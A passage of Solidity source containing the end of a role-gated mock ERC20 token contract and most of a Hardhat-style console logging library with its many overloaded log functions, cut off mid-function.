See {ERC20-_mint}. * */ function mint(address to, uint256 amount) external { require(hasRole(MINTER_ROLE, _msgSender()), "SCTokenMock/MinterRole"); _mint(to, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20) { // console.log(symbol(), from, "->", to); // console.log(symbol(), ">", amount); super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { 